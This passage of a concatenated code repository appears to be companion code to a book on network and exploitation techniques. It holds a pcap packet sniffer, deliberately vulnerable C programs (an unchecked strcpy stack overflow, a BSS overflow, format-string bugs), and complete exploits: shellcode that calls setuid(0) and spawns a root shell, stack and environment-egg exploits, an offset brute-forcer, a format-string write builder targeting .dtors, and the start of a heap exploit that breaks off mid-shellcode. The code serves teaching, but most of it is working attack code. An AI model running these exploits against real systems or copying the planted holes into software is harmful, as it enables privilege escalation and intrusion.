libnet_geterror(l)); 87 | exit(-1); 88 | } 89 | 90 | /* write the packet */ 91 | if ((libnet_write(l)) == -1) { 92 | fprintf(stderr, "Unable to send packet: %s\n", libnet_geterror(l)); 93 | exit(-1); 94 | } 95 | 96 | sleep(period); 97 | } 98 | 99 | /* exit cleanly */ 100 | libnet_destroy(l); 101 | return 0; 102 | } 103 | 104 | 105 | -------------------------------------------------------------------------------- /part2/Chapter 9/sklsniff_pcap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include /* for the glibc version number */ 6 | #if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 7 | #include 8 | #include /* the L2 protocols */ 9 | #else 10 | #include 11 | #include 12 | #include /* The L2 protocols */ 13 | #endif 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define IP_DF 0x4000 24 | #define IP_MF 0x2000 25 | int packet = 0; 26 | int paramd = 0; 27 | 28 | struct arphdr { 29 | unsigned short ar_hrd; /* format of hardware address */ 30 | unsigned short ar_pro; /* format of protocol address */ 31 | unsigned char ar_hln; /* length of hardware address */ 32 | unsigned char ar_pln; /* length of protocol address */ 33 | unsigned short ar_op; /* ARP opcode (command) */ 34 | unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ 35 | unsigned char ar_sip[4]; /* sender IP address */ 36 | unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ 37 | unsigned char ar_tip[4]; /* target IP address */ 38 | }; 39 | 40 | /*------------------------------------------------------------*/ 41 | /* A function to output the received data as a hex&ascii dump */ 42 | /*------------------------------------------------------------*/ 43 | void Dump(void* data, int len) 44 | { 45 | unsigned char *buf = data; 46 | int i; 47 | int poz = 0; 48 | char str[17]; 49 | memset(str, 0, 17); 50 | for (i = 0; i < len; i++) 51 | { 52 | if (poz % 16 == 0) { 53 | printf(" %s\n%04X: ", str, poz); 54 | memset(str, 0, 17); 55 | } 56 | 57 | if (buf[poz] < ' ' || buf[poz] >= 127) 58 | str[poz%16] = '.'; 59 | else 60 | str[poz%16] = buf[poz]; 61 | 62 | printf("%02X ", buf[poz++]); 63 | } 64 | printf(" %*s\n\n", 16 + (16 - len % 16) * 2, str); 65 | } 66 | 67 | 68 | /*------------------------------------------------------------*/ 69 | /* A function to output header fields of the received packets */ 70 | /*------------------------------------------------------------*/ 71 | void PrintHeaders(u_char *foo, const struct pcap_pkthdr *header, const u_char *data) 72 | 73 | { 74 | struct ethhdr eth; 75 | struct iphdr *ip; 76 | struct arphdr *arp; 77 | struct tcphdr *tcp; 78 | struct udphdr *udp; 79 | struct icmphdr *icmp; 80 | 81 | memcpy ((char *) ð, data, sizeof(struct ethhdr)); 82 | printf("#############################################\n"); 83 | printf("Packet #%d (%d bytes read)\n", ++packet, header->caplen); 84 | 85 | printf("==ETHERNET_HEADER============================\n"); 86 | printf("MAC destination "); 87 | printf(":%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 88 | eth.h_source[0], eth.h_source[1], eth.h_source[2], 89 | eth.h_source[3], eth.h_source[4], eth.h_source[5]); 90 | 91 | printf("MAC source "); 92 | printf(":%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 93 | eth.h_dest[0], eth.h_dest[1], eth.h_dest[2], 94 | eth.h_dest[3], eth.h_dest[4], eth.h_dest[5]); 95 | printf("Packet type ID field :%#x\n", ntohs(eth.h_proto)); 96 | 97 | if ((ntohs(eth.h_proto) == ETH_P_ARP) || 98 | (ntohs(eth.h_proto) == ETH_P_RARP)) { 99 | arp = (struct arphdr *)(data + sizeof(struct ethhdr)); 100 | 101 | printf("==ARP_HEADER=================================\n"); 102 | printf("Format of hardware address :%d\n", htons(arp->ar_hrd)); 103 | printf("Format of protocol address :%d\n", arp->ar_pro); 104 | printf("Length MAC :%d\n", arp->ar_hln); 105 | printf("Length IP :%d\n", arp->ar_pln); 106 | printf("ARP opcode :%d\n", htons(arp->ar_op)); 107 | printf("Sender hardware address :%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 108 | arp->ar_sha[0], 109 | arp->ar_sha[1], 110 | arp->ar_sha[2], 111 | arp->ar_sha[3], 112 | arp->ar_sha[4], 113 | arp->ar_sha[5], 114 | arp->ar_sha[6]); 115 | printf("Sender IP address :%d.%d.%d.%d\n", 116 | arp->ar_sip[0], 117 | arp->ar_sip[1], 118 | arp->ar_sip[2], 119 | arp->ar_sip[3]); 120 | printf("Target hardware address :%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", 121 | arp->ar_tha[0], 122 | arp->ar_tha[1], 123 | arp->ar_tha[2], 124 | arp->ar_tha[3], 125 | arp->ar_tha[4], 126 | arp->ar_tha[5], 127 | arp->ar_tha[6]); 128 | printf("Target IP address :%d.%d.%d.%d\n", 129 | arp->ar_tip[0], 130 | arp->ar_tip[1], 131 | arp->ar_tip[2], 132 | arp->ar_tip[3]); 133 | printf("#############################################\n"); 134 | } 135 | 136 | if (ntohs(eth.h_proto) == ETH_P_IP) 137 | { 138 | ip = (struct iphdr *)(data + sizeof(struct ethhdr)); 139 | printf("==IP_HEADER==================================\n"); 140 | printf("IP version :%d\n", ip->version); 141 | printf("IP header length :%d\n", ip->ihl); 142 | printf("TOS :%d\n", ip->tos); 143 | printf("Total length :%d\n", ntohs(ip->tot_len)); 144 | printf("ID :%d\n", ntohs(ip->id)); 145 | printf("Fragment offset :%#x\n", ntohs(ip->frag_off)); 146 | printf("MF :%d\n", ntohs(ip->frag_off)&IP_MF?1:0); 147 | printf("DF :%d\n", ntohs(ip->frag_off)&IP_DF?1:0); 148 | printf("TTL :%d\n", ip->ttl); 149 | printf("Protocol :%d\n", ip->protocol); 150 | printf("IP source :%s\n", inet_ntoa(ip->saddr)); 151 | printf("IP destination :%s\n", inet_ntoa(ip->daddr)); 152 | 153 | if ((ip->protocol) == IPPROTO_TCP) { 154 | tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 155 | printf("==TCP_HEADER=================================\n"); 156 | printf("Port source :%d\n", ntohs(tcp->source)); 157 | printf("Port destination :%d\n", ntohs(tcp->dest)); 158 | printf("Sequence number :%d\n", ntohs(tcp->seq)); 159 | printf("Ack number :%d\n", ntohs(tcp->ack_seq)); 160 | printf("Data offset :%d\n", tcp->doff); 161 | printf("FIN:%d,", tcp->fin); 162 | printf("SYN:%d,", tcp->syn); 163 | printf("RST:%d,", tcp->rst); 164 | printf("PSH:%d,", tcp->psh); 165 | printf("ACK:%d,", tcp->ack); 166 | printf("URG:%d,", tcp->urg); 167 | printf("ECE:%d,", tcp->ece); 168 | printf("CWR:%d\n", tcp->cwr); 169 | printf("Window :%d\n", ntohs(tcp->window)); 170 | printf("Urgent pointer :%d\n", tcp->urg_ptr); 171 | } 172 | 173 | if ((ip->protocol) == IPPROTO_UDP) { 174 | udp = (struct udphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 175 | printf("==UDP_HEADER=================================\n"); 176 | printf("Port source :%d\n", ntohs(udp->source)); 177 | printf("Port destination :%d\n", ntohs(udp->dest)); 178 | printf("Length :%d\n", ntohs(udp->len)); 179 | } 180 | 181 | if ((ip->protocol) == IPPROTO_ICMP) { 182 | icmp = (struct icmphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); 183 | printf("==ICMP_HEADER================================\n"); 184 | printf("Type :%d\n", icmp->type); 185 | printf("Code :%d\n", icmp->code); 186 | } 187 | 188 | printf("#############################################\n"); 189 | if (paramd == 1) 190 | Dump(&data, header->caplen); 191 | } 192 | } 193 | 194 | 195 | /*---------------------*/ 196 | /* The main() function */ 197 | /*--------------------*/ 198 | int main(int argc, char* argv[]) 199 | { 200 | pcap_t *handle; 201 | char *dev; 202 | int i; 203 | char errbuf[PCAP_ERRBUF_SIZE]; 204 | struct bpf_program filter; 205 | bpf_u_int32 mask; 206 | bpf_u_int32 net; 207 | const u_char *packet; 208 | char str[100]=""; 209 | char filter_app[100]=""; 210 | fprintf(stderr, "===================================================\n"); 211 | fprintf(stderr, "= Simple passive sniffer by Ivan Sklyaroff, 2006. =\n"); 212 | fprintf(stderr, "= [-d] - dump a block of data in hex&ascii. =\n"); 213 | fprintf(stderr, "===================================================\n"); 214 | 215 | /* Constructing an expression for the filter */ 216 | for (i = 1; i < argc; ++i) { 217 | if (!strcmp(argv[i], "-d")) 218 | paramd = 1; 219 | else { 220 | strcat(str, argv[i]); 221 | strcat(str, " "); 222 | } 223 | } 224 | 225 | strcpy(filter_app, str); 226 | printf("%s\n", filter_app); 227 | 228 | dev = pcap_lookupdev(errbuf); 229 | if (dev == NULL) { 230 | fprintf(stderr, "%s", errbuf); 231 | exit(-1); 232 | } 233 | 234 | pcap_lookupnet(dev, &net, &mask, errbuf); 235 | if (dev == NULL) { 236 | fprintf(stderr, "%s", errbuf); 237 | exit(-1); 238 | } 239 | 240 | handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf); 241 | if (handle == NULL) { 242 | fprintf(stderr, "%s", errbuf); 243 | exit(-1); 244 | } 245 | 246 | if (pcap_compile(handle, &filter, filter_app, 0, mask) == -1) { 247 | fprintf(stderr, "%s", pcap_geterr(handle)); 248 | exit(-1); 249 | } 250 | 251 | if (pcap_setfilter(handle, &filter) == -1) { 252 | fprintf(stderr, "%s", pcap_geterr(handle)); 253 | exit(-1); 254 | } 255 | 256 | if (pcap_loop(handle, -1, PrintHeaders, NULL)) { 257 | pcap_perror(handle, "pcap_loop()"); 258 | pcap_close(handle); 259 | exit(-1); 260 | } 261 | 262 | pcap_close(handle); 263 | 264 | return 0; 265 | } 266 | -------------------------------------------------------------------------------- /part3/Chapter12/sections.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int var; 5 | char *str; 6 | int x = 111; 7 | static int y = 222; 8 | char buffer1[666]; 9 | char mes1[] = "abcdef"; 10 | 11 | void f(int a, char *b) 12 | { 13 | char p; 14 | int num = 333; 15 | static int count = 444; 16 | char buffer2[777]; 17 | char mes2[] = "zyxwvu"; 18 | 19 | str = malloc(1000*sizeof(char)); 20 | strncpy(str, "abcde", 5); 21 | strncpy(buffer1, "Sklyaroff", 9); 22 | strncpy(buffer2, "Ivan", 4); 23 | } 24 | 25 | int main() 26 | { 27 | f(1, "string"); 28 | 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /part3/Chapter13/13.1/bruteret.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | for($i = 1; $i < 1500; $i++) { 4 | print "Attempt $i \n"; 5 | system("./expl_stack1 $i"); 6 | } 7 | -------------------------------------------------------------------------------- /part3/Chapter13/13.1/expl_brute.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | char shellcode[]= 9 | "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" 10 | "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" 11 | "\xc0\x88\x43\x07\x89\x5b\x08\x89" 12 | "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" 13 | "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" 14 | "/bin/sh"; 15 | 16 | unsigned long get_sp(void) 17 | { 18 | __asm__("movl %esp,%eax"); 19 | } 20 | 21 | int main(int argc, char *argv[]) 22 | { 23 | char buf[500]; 24 | char *egg, *ptr; 25 | char *av[3], *ev[2]; 26 | pid_t pid; 27 | int i, step, offset = 0; 28 | long esp, ret; 29 | int status; 30 | 31 | if (argc < 2) { 32 | fprintf(stderr, "Usage: %s \n", argv[0]); 33 | exit(-1); 34 | } 35 | 36 | step = atoi(argv[1]); 37 | esp = get_sp(); 38 | ret = esp; 39 | 40 | egg = (char *)malloc(1000); 41 | sprintf(egg, "EGG="); 42 | memset(egg + 4, 0x90, 1000 - 1 - strlen(shellcode)); 43 | sprintf(egg + 1000 - 1 - strlen(shellcode), "%s", shellcode); 44 | 45 | ptr = buf; 46 | bzero(buf, sizeof(buf)); 47 | 48 | while(offset <= 3000) 49 | { 50 | if ((pid = fork()) == 0) 51 | { 52 | for(i = 0; i <= 500; i += 4) 53 | {*(long *)(ptr + i) = ret;} 54 | 55 | av[0] = "./stack_vuln"; 56 | av[1] = buf; 57 | av[2] = 0; 58 | ev[0] = egg; 59 | ev[1] = 0; 60 | execve(*av, av, ev); 61 | exit(status); 62 | } 63 | 64 | wait(&status); 65 | 66 | if (WIFEXITED(status) != 0) { 67 | fprintf(stderr, "The end: %#x\n", ret); 68 | exit(-1); 69 | } else { 70 | ret += offset; 71 | offset += step; 72 | fprintf(stderr, "Trying offset %d, addr: %#x\n", offset, ret); 73 | } 74 | } 75 | 76 | return 0; 77 | } 78 | -------------------------------------------------------------------------------- /part3/Chapter13/13.1/expl_stack1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char shellcode[]= 7 | "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" 8 | "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80" 9 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" 10 | "\x88\x46\x07\x89\x46\x0c\xb0\x0b" 11 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" 12 | "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 13 | "\x80\xe8\xdc\xff\xff\xff" 14 | "/bin/sh"; 15 | 16 | unsigned long get_sp(void) 17 | { 18 | __asm__("movl %esp,%eax"); 19 | } 20 | 21 | int main(int argc, char *argv[]) 22 | { 23 | int i, offset; 24 | long esp, ret, *addr_ptr; 25 | char *ptr, buf[200]; 26 | 27 | if (argc < 2) { 28 | fprintf(stderr, "Usage: %s \n", argv[0]); 29 | exit(-1); 30 | } 31 | 32 | offset = atoi(argv[1]); 33 | esp = get_sp(); 34 | ret = esp - offset; 35 | 36 | printf("The stack pointer (ESP) is: 0x%x\n", esp); 37 | printf("The offset from ESP is: 0x%x\n", offset); 38 | printf("The return address is: 0x%x\n", ret); 39 | 40 | ptr = buf; 41 | addr_ptr = (long *)ptr; 42 | 43 | for(i = 0; i < 200; i += 4) 44 | {*(addr_ptr++) = ret;} 45 | 46 | for(i = 0; i < 50; i++) 47 | {buf[i] = '\x90';} 48 | 49 | ptr = buf + 50; 50 | 51 | for(i = 0; i < strlen(shellcode); i++) 52 | {*(ptr++) = shellcode[i];} 53 | 54 | buf[200 - 1] = '\0'; 55 | 56 | execl("./stack_vuln", "stack_vuln", buf, 0); 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /part3/Chapter13/13.1/expl_stack2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char shellcode[]= 6 | "\x31\xc0" /* xorl %eax,%eax */ 7 | "\x31\xdb" /* xorl %ebx,%ebx */ 8 | "\xb0\x17" /* movb $0x17,%al */ 9 | "\xcd\x80" /* int $0x80 */ 10 | "\x31\xc0" /* xorl %eax,%eax */ 11 | "\x31\xdb" /* xorl %ebx,%ebx */ 12 | "\xb0\x2e" /* movb $0x2e,%al */ 13 | "\xcd\x80" /* int $0x80 */ 14 | "\x31\xc0" /* xorl %eax,%eax */ 15 | "\x50" /* pushl %eax */ 16 | "\x68""//sh" /* pushl $0x68732f2f */ 17 | "\x68""/bin" /* pushl $0x6e69622f */ 18 | "\x89\xe3" /* movl %esp,%ebp */ 19 | "\x50" /* pushl %eax */ 20 | "\x53" /* pushl %ebx */ 21 | "\x89\xe1" /* movl %esp,%ecx */ 22 | "\x99" /* cltd */ 23 | "\xb0\x0b" /* movb $0xb,%al */ 24 | "\xcd\x80"; /* int $0x80 */ 25 | 26 | int main() 27 | { 28 | char *env[] = {shellcode, NULL}; 29 | char buf[127]; 30 | int i, ret, *ptr; 31 | 32 | ptr = (int*)(buf); 33 | ret = 0xc0000000 - 6 - strlen(shellcode) - strlen("./stack_vuln"); 34 | for(i = 0; i < 127; i += 4) {*ptr++ = ret;} 35 | 36 | execle("./stack_vuln", "stack_vuln", buf, NULL, env); 37 | } 38 | -------------------------------------------------------------------------------- /part3/Chapter13/13.1/expl_stack3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char shellcode[]= 7 | "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" 8 | "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" 9 | "\xc0\x88\x43\x07\x89\x5b\x08\x89" 10 | "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" 11 | "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" 12 | "/bin/sh"; 13 | 14 | unsigned long get_sp(void) 15 | { 16 | __asm__("movl %esp,%eax"); 17 | } 18 | 19 | int main(int argc, char **argv) 20 | { 21 | int i, offset; 22 | long esp, ret; 23 | char buf[500]; char *egg, *ptr; 24 | char *av[3], *ev[2]; 25 | 26 | if (argc < 2) { 27 | fprintf(stderr, "Usage: %s \n", argv[0]); 28 | exit(-1); 29 | } 30 | 31 | offset = atoi(argv[1]); 32 | esp = get_sp(); 33 | ret = esp + offset; 34 | 35 | printf("The stack pointer (ESP) is: 0x%x\n", esp); 36 | printf("The offset from ESP is: 0x%x\n", offset); 37 | printf("The return address is: 0x%x\n", ret); 38 | 39 | egg = (char *)malloc(1000); 40 | sprintf(egg, "EGG="); 41 | memset(egg + 4, 0x90, 1000 - 1 - strlen(shellcode)); 42 | sprintf(egg + 1000 - 1 - strlen(shellcode), "%s", shellcode); 43 | 44 | ptr = buf; 45 | bzero(buf, sizeof(buf)); 46 | 47 | for(i = 0; i <= 500; i += 4) 48 | {*(long *)(ptr + i) = ret;} 49 | 50 | av[0]= "./stack_vuln"; 51 | av[1]=buf; 52 | av[2]=0; 53 | ev[0]=egg; 54 | ev[1]=0; 55 | execve(*av, av, ev); 56 | 57 | return 0; 58 | } 59 | 60 | -------------------------------------------------------------------------------- /part3/Chapter13/13.1/stack_vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main (int argc, char *argv[]) 5 | { 6 | char buf[100]; 7 | 8 | if (argc > 1) { 9 | strcpy(buf, argv[1]); 10 | printf("OK!\n"); 11 | } else 12 | printf("Please, enter the argument!\n"); 13 | 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /part3/Chapter13/13.2/bss_vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void show(char *); 5 | 6 | int main(int argc, char *argv[]) 7 | { 8 | static char buf[100]; 9 | static void (*func_ptr)(char *arg); 10 | 11 | if (argc < 2) { 12 | printf("Usage: %s \n", argv[0]); 13 | exit(1); 14 | } 15 | 16 | func_ptr = show; 17 | strncpy(buf, argv[1], strlen(argv[1])); 18 | func_ptr(buf); 19 | 20 | return 0; 21 | } 22 | 23 | void show(char *arg) 24 | { 25 | printf("\nBuffer: [%s]\n\n", arg); 26 | } 27 | -------------------------------------------------------------------------------- /part3/Chapter13/13.2/expl_bss.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char shellcode[] = 6 | "\x31\xc0" /* xorl %eax,%eax */ 7 | "\x31\xdb" /* xorl %ebx,%ebx */ 8 | "\xb0\x17" /* movb $0x17,%al */ 9 | "\xcd\x80" /* int $0x80 */ 10 | "\x33\xc0" /* xorl %eax,%eax */ 11 | "\x31\xdb" /* xorl %ebx,%ebx */ 12 | "\xb0\x2e" /* movb $0x2e,%al */ 13 | "\xcd\x80" /* int $0x80 */ 14 | "\x31\xc0" /* xorl %eax,%eax */ 15 | "\x50" /* pushl %eax */ 16 | "\x68""//sh" /* pushl $0x68732f2f */ 17 | "\x68""/bin" /* pushl $0x6e69622f */ 18 | "\x89\xe3" /* movl %esp,%ebp */ 19 | "\x50" /* pushl %eax */ 20 | "\x53" /* pushl %ebx */ 21 | "\x89\xe1" /* movl %esp,%ecx */ 22 | "\x99" /* cltd */ 23 | "\xb0\x0b" /* movb $0xb,%al */ 24 | "\xcd\x80"; /* int $0x80 */ 25 | 26 | int main() 27 | { 28 | char *env[] = {shellcode, NULL}; 29 | char buf[104]; 30 | unsigned long ret; 31 | unsigned long *ptr; 32 | int i; 33 | 34 | ptr = (unsigned long*)(buf); 35 | ret = 0xc0000000 - strlen(shellcode) - strlen("./bss_vuln") - 6; 36 | for(i = 0; i < 104; i += 4) {*ptr++ = ret;} 37 | 38 | execle("./bss_vuln", "bss_vuln", buf, NULL, env); 39 | } 40 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/cd_dtors.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | static void start(void) __attribute__ ((constructor)); 4 | static void stop(void) __attribute__ ((destructor)); 5 | 6 | int main() { 7 | printf("this is main()\n"); 8 | return 0; 9 | } 10 | 11 | void start(void) { 12 | printf("this is start()\n"); 13 | } 14 | 15 | void stop(void) { 16 | printf("this is stop()\n"); 17 | } 18 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/expl_frm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | char buf[100]; 7 | 8 | char shellcode[] = 9 | "\x33\xc0" /* xorl %eax,%eax */ 10 | "\x31\xdb" /* xorl %ebx,%ebx */ 11 | "\xb0\x17" /* movb $0x17,%al */ 12 | "\xcd\x80" /* int $0x80 */ 13 | "\x33\xc0" /* xorl %eax,%eax */ 14 | "\x31\xdb" /* xorl %ebx,%ebx */ 15 | "\xb0\x2e" /* movb $0x2e,%al */ 16 | "\xcd\x80" /* int $0x80 */ 17 | "\x31\xc0" /* xorl %eax,%eax */ 18 | "\x50" /* pushl %eax */ 19 | "\x68""//sh" /* pushl $0x68732f2f */ 20 | "\x68""/bin" /* pushl $0x6e69622f */ 21 | "\x89\xe3" /* movl %esp,%ebp */ 22 | "\x50" /* pushl %eax */ 23 | "\x53" /* pushl %ebx */ 24 | "\x89\xe1" /* movl %esp,%ecx */ 25 | "\x99" /* cltd */ 26 | "\xb0\x0b" /* movb $0xb,%al */ 27 | "\xcd\x80"; /* int $0x80 */ 28 | 29 | 30 | char *fmt_str_creator(long addr, long value, int pos) { 31 | 32 | char *buf; 33 | 34 | unsigned char byte1, byte2, byte3, byte4; 35 | unsigned long high, low; 36 | int length = 100; 37 | 38 | byte1 = (addr & 0xff000000) >> 24; 39 | byte2 = (addr & 0x00ff0000) >> 16; 40 | byte3 = (addr & 0x0000ff00) >> 8; 41 | byte4 = (addr & 0x000000ff); 42 | 43 | high = (value & 0xffff0000) >> 16; 44 | low = (value & 0x0000ffff); 45 | 46 | fprintf(stderr, "addr: %#x\n", addr); 47 | fprintf(stderr, "byte1: %#x (%c)\n", byte1, byte1); 48 | fprintf(stderr, "byte2: %#x (%c)\n", byte2, byte2); 49 | fprintf(stderr, "byte3: %#x (%c)\n", byte3, byte3); 50 | fprintf(stderr, "byte4: %#x (%c)\n", byte4, byte4); 51 | fprintf(stderr, "byte4+2: %#x (%c)\n", byte4+2, byte4+2); 52 | fprintf(stderr, "value: %d (%#x)\n", value, value); 53 | fprintf(stderr, "high: %d (%#x)\n", high, high); 54 | fprintf(stderr, "low: %d (%#x)\n", low, low); 55 | fprintf(stderr, "pos: %d\n", pos); 56 | 57 | if ( !(buf = (char*)malloc(length*sizeof(char))) ) { 58 | perror("allocate buffer failed"); 59 | exit(0); 60 | } 61 | 62 | memset(buf, 0, sizeof(buf)); 63 | 64 | if (high < low) { 65 | 66 | snprintf(buf, 67 | length, 68 | "%c%c%c%c" 69 | "%c%c%c%c" 70 | 71 | 72 | "%%.%hdx" 73 | "%%%d$hn" 74 | 75 | "%%.%hdx" 76 | "%%%d$hn", 77 | 78 | byte4+2, byte3, byte2, byte1, 79 | byte4, byte3, byte2, byte1, 80 | 81 | high-8, 82 | pos, 83 | 84 | low-high, 85 | pos+1); 86 | 87 | } else { 88 | 89 | snprintf(buf, 90 | length, 91 | "%c%c%c%c" 92 | "%c%c%c%c" 93 | 94 | "%%.%hdx" 95 | "%%%d$hn" 96 | 97 | "%%.%hdx" 98 | "%%%d$hn", 99 | 100 | byte4+2, byte3, byte2, byte1, 101 | byte4, byte3, byte2, byte1, 102 | 103 | low-8, 104 | pos+1, 105 | 106 | high-low, 107 | pos); 108 | } 109 | return buf; 110 | 111 | } 112 | 113 | int main() 114 | { 115 | char *env[] = {shellcode, NULL}; 116 | char buff[100]; 117 | long RET; 118 | long ADDRESS = 0x80495f8 + 4; 119 | int ALIGN = 6; 120 | 121 | RET = 0xc0000000 - strlen(shellcode) - strlen("./format") - 6; 122 | sprintf(buff,"%s",fmt_str_creator(ADDRESS, RET, ALIGN)); 123 | 124 | execle("./format", "format", buff, NULL, env); 125 | } 126 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/format.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char *argv[]) 4 | { 5 | int a = 1; 6 | char buf[100]; 7 | int b = 1; 8 | 9 | printf ("a=%d (%p)\n", a, &a); 10 | printf ("b=%d (%p)\n", b, &b); 11 | 12 | snprintf(buf, sizeof buf, argv[1]); 13 | 14 | printf("\nbuf: [%s]\n\n", buf); 15 | printf ("a=%d (%p)\n", a, &a); 16 | printf ("b=%d (%p)\n", b, &b); 17 | 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/frmbuilder.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char* frmstr_builder(unsigned long addr, unsigned long value, int pos) 6 | { 7 | char *buf; 8 | 9 | unsigned char byte1, byte2, byte3, byte4; 10 | unsigned long high, low; 11 | int length = 100; 12 | 13 | byte1 = (addr & 0xff000000) >> 24; 14 | byte2 = (addr & 0x00ff0000) >> 16; 15 | byte3 = (addr & 0x0000ff00) >> 8; 16 | byte4 = (addr & 0x000000ff); 17 | 18 | high = (value & 0xffff0000) >> 16; 19 | low = (value & 0x0000ffff); 20 | 21 | fprintf(stderr, "addr: %#x\n", addr); 22 | fprintf(stderr, "byte1: %#x (%c)\n", byte1, byte1); 23 | fprintf(stderr, "byte2: %#x (%c)\n", byte2, byte2); 24 | fprintf(stderr, "byte3: %#x (%c)\n", byte3, byte3); 25 | fprintf(stderr, "byte4: %#x (%c)\n", byte4, byte4); 26 | fprintf(stderr, "byte4+2: %#x (%c)\n", byte4+2, byte4+2); 27 | fprintf(stderr, "value: %d (%#x)\n", value, value); 28 | fprintf(stderr, "high: %d (%#x)\n", high, high); 29 | fprintf(stderr, "low: %d (%#x)\n", low, low); 30 | fprintf(stderr, "pos: %d\n", pos); 31 | 32 | if ( !(buf = (char*)malloc(length*sizeof(char))) ) { 33 | perror("allocate buffer failed"); 34 | exit(0); 35 | } 36 | 37 | memset(buf, 0, sizeof(buf)); 38 | 39 | if (high < low) { 40 | 41 | snprintf(buf, 42 | length, 43 | "%c%c%c%c" 44 | "%c%c%c%c" 45 | 46 | 47 | "%%.%hdx" 48 | "%%%d$hn" 49 | 50 | "%%.%hdx" 51 | "%%%d$hn", 52 | 53 | byte4+2, byte3, byte2, byte1, 54 | byte4, byte3, byte2, byte1, 55 | 56 | high-8, 57 | pos, 58 | 59 | low-high, 60 | pos+1); 61 | 62 | } else { 63 | 64 | snprintf(buf, 65 | length, 66 | "%c%c%c%c" 67 | "%c%c%c%c" 68 | 69 | "%%.%hdx" 70 | "%%%d$hn" 71 | 72 | "%%.%hdx" 73 | "%%%d$hn", 74 | 75 | byte4+2, byte3, byte2, byte1, 76 | byte4, byte3, byte2, byte1, 77 | 78 | low-8, 79 | pos+1, 80 | 81 | high-low, 82 | pos); 83 | } 84 | return buf; 85 | } 86 | 87 | int main(int argc, char *argv[]) { 88 | 89 | char *buf; 90 | 91 | if (argc != 4) { 92 | printf("Usage: %s
\n", argv[0]); 93 | exit(-1);} 94 | 95 | buf = frmstr_builder(strtoul(argv[1], NULL, 16), 96 | strtoul(argv[2], NULL, 16), 97 | atoi(argv[3])); 98 | 99 | fprintf (stderr, "buf: [%s] (%d)\n\n", buf, strlen(buf)); 100 | printf ("%s", buf); 101 | 102 | return 0; 103 | } 104 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/printf1.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | char *str = "sklyaroff"; 6 | int num = 31337; 7 | 8 | printf("str=%s, adrr_str=%p, num=%d, addr_num=%#x\n", str, &str, num, &num); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/printf2.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char *argv[]) 4 | { 5 | int a = 3; 6 | char *str = "ivan"; 7 | int b = 555; 8 | 9 | printf(argv[1]); 10 | 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/printf3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | int n; 6 | 7 | printf("ABCDEFGHIJ%n\n", &n); 8 | printf("n=%d\n", n); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /part3/Chapter13/13.3/printf4.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | int n, x = 1; 6 | 7 | printf("ABCDEFGHIJ%.100d%n\n", x, &n); 8 | printf("n=%d\n", n); 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /part3/Chapter13/13.4/expl_heap1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define FREE_GOT_ADDRESS 0x080496ec 6 | #define RET (0x080497b8 + 8) 7 | #define GARBAGE 0x12345678 8 | 9 | char shellcode[]= 10 | "\xeb\x0aXXXXXXXXXX" 11 | 